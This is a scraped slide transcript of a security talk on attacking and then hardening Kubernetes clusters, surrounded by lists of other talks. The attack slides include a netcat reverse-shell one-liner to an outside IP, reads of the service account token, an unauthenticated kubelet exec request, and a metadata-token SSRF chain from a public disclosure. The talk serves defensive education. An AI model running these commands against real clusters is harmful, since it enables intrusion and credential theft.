Matthias Deeg - Bypassing an Enterprise-Grade Biometric Face Authentication S...
 
Gergely Biczók - Interdependent Privacy & the Psychology of Likes
Gergely Biczók - Interdependent Privacy & the Psychology of LikesGergely Biczók - Interdependent Privacy & the Psychology of Likes
Gergely Biczók - Interdependent Privacy & the Psychology of Likes
 
Paolo Stagno - A Drone Tale: All Your Drones Belong To Us
Paolo Stagno - A Drone Tale: All Your Drones Belong To UsPaolo Stagno - A Drone Tale: All Your Drones Belong To Us
Paolo Stagno - A Drone Tale: All Your Drones Belong To Us
 
Jack S (linkcabin) - Becoming The Quiz Master: Thanks RE.
Jack S (linkcabin) - Becoming The Quiz Master: Thanks RE.Jack S (linkcabin) - Becoming The Quiz Master: Thanks RE.
Jack S (linkcabin) - Becoming The Quiz Master: Thanks RE.
 
Zoltán Balázs - Ethereum Smart Contract Hacking Explained like I’m Five
Zoltán Balázs - Ethereum Smart Contract Hacking Explained like I’m FiveZoltán Balázs - Ethereum Smart Contract Hacking Explained like I’m Five
Zoltán Balázs - Ethereum Smart Contract Hacking Explained like I’m Five
 

Recently uploaded

FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdfFIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance
 
Key Trends Shaping the Future of Infrastructure.pdf
Key Trends Shaping the Future of Infrastructure.pdfKey Trends Shaping the Future of Infrastructure.pdf
Key Trends Shaping the Future of Infrastructure.pdf
Cheryl Hung
 
Transcript: Selling digital books in 2024: Insights from industry leaders - T...
Transcript: Selling digital books in 2024: Insights from industry leaders - T...Transcript: Selling digital books in 2024: Insights from industry leaders - T...
Transcript: Selling digital books in 2024: Insights from industry leaders - T...
BookNet Canada
 
Knowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and backKnowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and back
Elena Simperl
 
DevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA ConnectDevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA Connect
Kari Kakkonen
 
Empowering NextGen Mobility via Large Action Model Infrastructure (LAMI): pav...
Empowering NextGen Mobility via Large Action Model Infrastructure (LAMI): pav...Empowering NextGen Mobility via Large Action Model Infrastructure (LAMI): pav...
Empowering NextGen Mobility via Large Action Model Infrastructure (LAMI): pav...
Thierry Lestable
 
When stars align: studies in data quality, knowledge graphs, and machine lear...
When stars align: studies in data quality, knowledge graphs, and machine lear...When stars align: studies in data quality, knowledge graphs, and machine lear...
When stars align: studies in data quality, knowledge graphs, and machine lear...
Elena Simperl
 
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
Product School
 
Epistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI supportEpistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI support
Alan Dix
 
Accelerate your Kubernetes clusters with Varnish Caching
Accelerate your Kubernetes clusters with Varnish CachingAccelerate your Kubernetes clusters with Varnish Caching
Accelerate your Kubernetes clusters with Varnish Caching
Thijs Feryn
 
Connector Corner: Automate dynamic content and events by pushing a button
Connector Corner: Automate dynamic content and events by pushing a buttonConnector Corner: Automate dynamic content and events by pushing a button
Connector Corner: Automate dynamic content and events by pushing a button
DianaGray10
 
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Tobias Schneck
 
From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...
From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...
From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...
Product School
 
Securing your Kubernetes cluster_ a step-by-step guide to success !
Securing your Kubernetes cluster_ a step-by-step guide to success !Securing your Kubernetes cluster_ a step-by-step guide to success !
Securing your Kubernetes cluster_ a step-by-step guide to success !
KatiaHIMEUR1
 
PCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase TeamPCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase Team
ControlCase
 
UiPath Test Automation using UiPath Test Suite series, part 3
UiPath Test Automation using UiPath Test Suite series, part 3UiPath Test Automation using UiPath Test Suite series, part 3
UiPath Test Automation using UiPath Test Suite series, part 3
DianaGray10
 
The Art of the Pitch: WordPress Relationships and Sales
The Art of the Pitch: WordPress Relationships and SalesThe Art of the Pitch: WordPress Relationships and Sales
The Art of the Pitch: WordPress Relationships and Sales
Laura Byrne
 
Generating a custom Ruby SDK for your web service or Rails API using Smithy
Generating a custom Ruby SDK for your web service or Rails API using SmithyGenerating a custom Ruby SDK for your web service or Rails API using Smithy
Generating a custom Ruby SDK for your web service or Rails API using Smithy
g2nightmarescribd
 
From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...
From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...
From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...
Product School
 
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdfFIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance
 

Recently uploaded (20)

FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdfFIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
 
Key Trends Shaping the Future of Infrastructure.pdf
Key Trends Shaping the Future of Infrastructure.pdfKey Trends Shaping the Future of Infrastructure.pdf
Key Trends Shaping the Future of Infrastructure.pdf
 
Transcript: Selling digital books in 2024: Insights from industry leaders - T...
Transcript: Selling digital books in 2024: Insights from industry leaders - T...Transcript: Selling digital books in 2024: Insights from industry leaders - T...
Transcript: Selling digital books in 2024: Insights from industry leaders - T...
 
Knowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and backKnowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and back
 
DevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA ConnectDevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA Connect
 
Empowering NextGen Mobility via Large Action Model Infrastructure (LAMI): pav...
Empowering NextGen Mobility via Large Action Model Infrastructure (LAMI): pav...Empowering NextGen Mobility via Large Action Model Infrastructure (LAMI): pav...
Empowering NextGen Mobility via Large Action Model Infrastructure (LAMI): pav...
 
When stars align: studies in data quality, knowledge graphs, and machine lear...
When stars align: studies in data quality, knowledge graphs, and machine lear...When stars align: studies in data quality, knowledge graphs, and machine lear...
When stars align: studies in data quality, knowledge graphs, and machine lear...
 
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
 
Epistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI supportEpistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI support
 
Accelerate your Kubernetes clusters with Varnish Caching
Accelerate your Kubernetes clusters with Varnish CachingAccelerate your Kubernetes clusters with Varnish Caching
Accelerate your Kubernetes clusters with Varnish Caching
 
Connector Corner: Automate dynamic content and events by pushing a button
Connector Corner: Automate dynamic content and events by pushing a buttonConnector Corner: Automate dynamic content and events by pushing a button
Connector Corner: Automate dynamic content and events by pushing a button
 
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
 
From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...
From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...
From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...
 
Securing your Kubernetes cluster_ a step-by-step guide to success !
Securing your Kubernetes cluster_ a step-by-step guide to success !Securing your Kubernetes cluster_ a step-by-step guide to success !
Securing your Kubernetes cluster_ a step-by-step guide to success !
 
PCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase TeamPCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase Team
 
UiPath Test Automation using UiPath Test Suite series, part 3
UiPath Test Automation using UiPath Test Suite series, part 3UiPath Test Automation using UiPath Test Suite series, part 3
UiPath Test Automation using UiPath Test Suite series, part 3
 
The Art of the Pitch: WordPress Relationships and Sales
The Art of the Pitch: WordPress Relationships and SalesThe Art of the Pitch: WordPress Relationships and Sales
The Art of the Pitch: WordPress Relationships and Sales
 
Generating a custom Ruby SDK for your web service or Rails API using Smithy
Generating a custom Ruby SDK for your web service or Rails API using SmithyGenerating a custom Ruby SDK for your web service or Rails API using Smithy
Generating a custom Ruby SDK for your web service or Rails API using Smithy
 
From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...
From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...
From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...
 
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdfFIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
 

Vincent Ruijter - ~Securing~ Attacking Kubernetes

  • 2. whoami works for KPN in the CERT team infoSec / hacking enthusiast attacker gone defender <3 binary stuff 2 / 42
  • 3. ls -l what is kubernetes? how to interact with kubernetes common pitfalls some dem0z advice 3 / 42
  • 4. /bin/kubernetes -h open source container orchestration written in go uses docker released by Google on 07/06/2014 July 2015 Kubernetes is part of Cloud Native Computing Foundation 4 / 42
  • 6. kubectl get namespaces namespaces determine scope administrative boundaries resource restrictions access control $ kubectl get ns NAME STATUS AGE default Active 23d kube-public Active 23d kube-system Active 23d safe-space Active 2h 6 / 42
  • 7. kubectl get pods kubernetes works with pods a pod is a collection of one or more containers configuration in yaml images are freely available pods are job based $ kubectl get pods --namespace=kube-system NAME READY calico-etcd-rswwr 1/1 calico-kube-controllers-84fd4db7cd-twxh7 1/1 calico-node-mmpqm 2/2 coredns-78fcdf6894-th6ws 1/1 coredns-78fcdf6894-wrrzl 1/1 etcd-super-secure-k82 1/1 kube-apiserver-super-secure-k82 1/1 kube-controller-manager-super-secure-k82 1/1 kube-proxy-jcm7n 1/1 kube-scheduler-super-secure-k82 1/1 kubernetes-dashboard-6948bdb78-4kg5c 1/1 7 / 42
  • 8. kubectl create -f demo.yml apiVersion: v1 kind: Pod metadata: name: super-c00l-c0ntain3r namespace: all-alone spec: restartPolicy: Never containers: - name: container image: "ubuntu:14.04" command: ["sh", "-c", "while true; do echo hello world; sleep 10; done;"] 8 / 42
  • 9. kubectl exec executing commands on pods opening a shell on nepal: $ kubectl exec nepal -i --tty --namespace=countries -- /bin/bash root@nepal:/# ls bin dev home lib64 mnt proc run srv tmp var boot etc lib media opt root sbin sys usr root@nepal:/# -i is interactive --tty set STDIN as TTY 9 / 42
  • 10. kubectl get svc another abstraction layer clusterIP proxy services loadbalances / exposes services from pods $ kubectl get svc --all-namespaces NAMESPACE NAME TYPE CLUSTER-IP default kubernetes ClusterIP 10.96.0.1 kube-system calico-etcd ClusterIP 10.96.232.136 kube-system kube-dns ClusterIP 10.96.0.10 kube-system kubernetes-dashboard ClusterIP 10.102.156.98 countries nepal NodePort 10.108.209.230 10 / 42
  • 11. kubectl get secrets Object to hold sensitive information Created automatically for API access $ kubectl get secrets --all-namespaces NAMESPACE NAME default default-token-h2rnd kube-public default-token-zwtkt kube-system attachdetach-controller-token-nsvgz kube-system bootstrap-signer-token-6w725 [...SNIP...] kube-system token-cleaner-token-dqww6 kube-system ttl-controller-token-7fd48 countries default-token-xgjmm countries supersecret-token-token-8qrlc 11 / 42
  • 12. what could go wrong? exposed endpoints unrestricted APIs internet facing API privileged containers internal API / dashboard access 12 / 42
  • 13. what could go wrong? what went wrong? found kubernetes endpoint managed to create a pod scanned the internal network found a jenkins box without authentication :-) 13 / 42
  • 17. Example 1 access to a pod via API (real world example) $ curl -v -s -d '{"command":"hostname"}' -H "Content-Type: application/json" -X POST https://victim.cloud.k8s.nl/command --insecure * Trying 10.165.209.25... [...SNIP...] > POST /command HTTP/1.1 > Host: victim.cloud.k8s.nl > User-Agent: curl/7.55.1 > Accept: */* > Content-Type: application/json > Content-Length: 22 > * upload completely sent off: 22 out of 22 bytes < HTTP/1.1 200 OK < Server: nginx/1.13.3 < Date: Mon, 02 Oct 2017 13:51:29 GMT < Content-Type: application/json; charset=UTF-8 < Content-Length: 59 < Connection: keep-alive < Strict-Transport-Security: max-age=15724800; includeSubDomains; < * Connection #0 to host victim.cloud.k8s.nl left intact {"command":"hostname","output":"bad-red-807241626-189szn"}% built Python wrapper to mimic shell :-) 17 / 42
  • 18. getting actual shell $ busybox nc 188.201.254.90 1337 -e /bin/sh & 18 / 42
  • 19. getting actual shell doing recon $ busybox nc 188.201.254.90 1337 -e /bin/sh & $ printenv HOSTNAME=container1 KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT=tcp://10.96.0.1:443 KUBERNETES_SERVICE_PORT=443 KUBERNETES_SERVICE_HOST=10.96.0.1 KUBERNETES_PORT_443_TCP_PROTO=tcp KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1 KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443 [...TRUNCATED...] alternative cat /proc/self/environ 19 / 42
  • 20. getting actual shell doing recon $ busybox nc 188.201.254.90 1337 -e /bin/sh & $ printenv HOSTNAME=container1 KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT=tcp://10.96.0.1:443 KUBERNETES_SERVICE_PORT=443 KUBERNETES_SERVICE_HOST=10.96.0.1 KUBERNETES_PORT_443_TCP_PROTO=tcp KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1 KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443 [...TRUNCATED...] $ ls /var/run/secrets/kubernetes.io/serviceaccount ca.crt namespace token 20 / 42
  • 21. getting actual shell doing recon $ busybox nc 188.201.254.90 1337 -e /bin/sh & $ printenv HOSTNAME=container1 KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT=tcp://10.96.0.1:443 KUBERNETES_SERVICE_PORT=443 KUBERNETES_SERVICE_HOST=10.96.0.1 KUBERNETES_PORT_443_TCP_PROTO=tcp KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1 KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443 [...TRUNCATED...] $ ls /var/run/secrets/kubernetes.io/serviceaccount ca.crt namespace token $ nc -v 10.96.0.1 443 Connection to 10.96.0.1 443 port [tcp/https] succeeded! ^ It is possible to access the API. 21 / 42
  • 22. DEMO 1 access to a pod attempt privesc pwn host? ;-) 22 / 42
  • 24. privileged mode $ cat /etc/kubernetes/manifests/kube-apiserver.yaml apiVersion: v1 kind: Pod metadata: annotations: scheduler.alpha.kubernetes.io/critical-pod: "" creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --authorization-mode=Node,RBAC - --advertise-address=10.0.2.15 - --allow-privileged=true <----- THIS BASTARD RIGHT HERE > [...SNIP...] 24 / 42
  • 25. privileged mode > Processes within the container get almost the same privileges that are available to processes outside a container. Great, right? 25 / 42
  • 26. Example 2 accessible kubernetes-dashboard version < 1.7 full admin priv by default >= 1.7 minimal privileges granted, admin revoked website displays steps for enabling admin (not recommended) 26 / 42
  • 27. inside pod do privesc $ ./kubectl get po --namespace=safe-space NAME READY STATUS RESTARTS AGE container2 1/1 Running 0 8m running in safe space $ ./kubectl --namespace=safe-space create -f escape.yml Error from server (Forbidden): error when creating "escape.yml" pods is forbidden: User "system:serviceaccount:safe-space:default" cannot create pods in the namespace "safe-space" $ ./kubectl --namespace=default create -f escape.yml Error from server (Forbidden): error when creating "escape.yml" pods is forbidden: User "system:serviceaccount:safe-space:default" cannot create pods in the namespace "default" oh noes, no privesc? 27 / 42
  • 28. inside pod do privesc recon... $ ./kubectl get svc --namespace=kube-system NAME CLUSTER-IP PORT(S) calico-etcd 10.96.232.136 6666/TCP kube-dns 10.96.0.10 53/UDP,53/TCP kubernetes-dashboard 10.97.154.242 443/TCP ^ that dashboard looks interesting 28 / 42
  • 29. inside pod do privesc recon... $ ./kubectl get svc --namespace=kube-system NAME CLUSTER-IP PORT(S) calico-etcd 10.96.232.136 6666/TCP kube-dns 10.96.0.10 53/UDP,53/TCP kubernetes-dashboard 10.97.154.242 443/TCP $ curl -v https://10.97.154.242 -k [...SSL_STUFFZ...] > GET / HTTP/1.1 > User-Agent: curl/7.35.0 > Host: 10.97.154.242 > Accept: */* > < HTTP/1.1 200 OK < Accept-Ranges: bytes < Cache-Control: no-store < Content-Length: 990 < Content-Type: text/html; charset=utf-8 < Last-Modified: Tue, 13 Feb 2018 11:17:03 GMT < Date: Mon, 21 May 2018 08:59:25 GMT < <!doctype html> <html ng-app="kubernetesDashboard"> [...SNIP...] yay! access to dashboardz 29 / 42
  • 30. DEMO 2 access to pod in countries attempt privesc pwn host? 30 / 42
  • 31. Example 3 port 10250 exposed before 09/02/2018 exposed kubelet API allowed unauthenticated code execution now authenticated by default readonly port 10255 still unauthenticated $ curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://kube-node-here:10250/exec/<namespace>/<podname>/ <container-name> ?command=touch&command=hello_world &input=1&output=1&tty=1" https://medium.com/handy-tech/analysis-of-a-kubernetes-hack-backdooring-through- kubelet-823be5c3d67c 31 / 42
  • 32. pod info $ curl -v http://192.168.56.3:10255/pods | jq [...SNIP...] > GET /pods HTTP/1.1 > Host: 192.168.56.3:10255 > User-Agent: curl/7.55.1 > Accept: */* > { "kind": "PodList", "apiVersion": "v1", "metadata": {}, "items": [ { "metadata": { "name": "container1", "namespace": "default", "selfLink": "/api/v1/namespaces/default/pods/ container1", "spec": { "volumes": [ { "name": "default-token-svx6h", "secret": { "secretName": "default-token-svx6h", "defaultMode": 420 } } ] ] 32 / 42
  • 33. pod info volume info $ curl -v http://192.168.56.3:10255/stats/ | grep device > GET /stats/ HTTP/1.1 > Host: 192.168.56.3:10255 > User-Agent: curl/7.55.1 > Accept: */* > < HTTP/1.1 200 OK < Content-Type: application/json < Date: Mon, 21 May 2018 10:36:55 GMT < Transfer-Encoding: chunked < "device": "/dev/dm-1", "device": "/dev/mapper/super--secure-- kubernetes--vg-root", "device": "/dev/sda", "device": "/dev/sdb", "device": "tmpfs", 33 / 42
  • 34. Example 4 shopify SSRF Disclosed serviceaccount token through SSRF: http://metadata.google.internal/computeMetadata/v1beta1/instance/service- accounts/default/token Made request using token to kube-env curl -X GET http://metadata.google.internal/computeMetadata/v1beta1/ instance/attributes/kube-env?alt=json -H "Authorization: Bearer SUPERSECRETTOKEN==" Disclosed private keys for Kubelet: $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://some.shopify.shop get pods --all-namespaces [PODS] ¯_(ツ)_/¯ Root on all shopify pods. https://hackerone.com/reports/341876 34 / 42
  • 36. harden network define tiers (labels) e.g. frontend / backend setup egress / ingress rules segment administrative / dev / prod namespaces filter service ports: node controller: 10250 / 10255 / 10256 (tcp) kubelet: 6443 (tcp) etcd: 2379 (tcp) calico: 9099 (tcp) Do not expose node to the internet (!!) 36 / 42
  • 37. harden network apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: foo-deny-egress spec: podSelector: matchLabels: app: foo policyTypes: - Egress egress: # allow port 53 TCP/UDP - ports: - port: 53 protocol: UDP - port: 53 protocol: TCP https://github.com/ahmetb/kubernetes-network-policy-recipes/blob/master/11-deny-egress- traffic-from-an-application.md 37 / 42
  • 38. harden network harden node limit service exposure limit user access (SSH pubkey) disable privileged mode (if possible) setup proper logging do not auto-mount service account credentials use latest version of Kubernetes run kube-bench / kubesec https://github.com/aquasecurity/kube-bench https://kubesec.io/ 38 / 42
  • 39. harden network harden node harden pods do not run as root by default set pod security context disable privesc (yes, this is an option) set DenyEscalatingExec on privileged pods set AllowPrivilegeEscalation to False check containers for vulnerable software https://github.com/ahmetb/kubernetes-network-policy-recipes 39 / 42
  • 40. harden network harden node harden pods apiVersion: v1 kind: Pod metadata: name: security-context-example spec: securityContext: runAsUser: 1000 fsGroup: 2000 volumes: - name: sec-1337-volume emptyDir: {} containers: - name: sec-1337-demo image: k8s.io/this-is-a-great-demo volumeMounts: - name: sec-1337-volume mountPath: /data/folder securityContext: allowPrivilegeEscalation: false readOnlyRootFilesystem: true runAsNonRoot: true capabilities: drop: - NET_RAW - CHOWN 40 / 42
  • 41. harden network harden node harden pods harden accounts service account should be limited / not mounted whitelist accounts per pod / namespace apply least privilege principle 41 / 42
  • 42. harden network harden node harden pods harden accounts kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1beta1 metadata: name: pod-reader rules: - apiGroups: [""] # "" indicates the core API group resources: ["pods", "services"] verbs: ["get", "list"] 42 / 42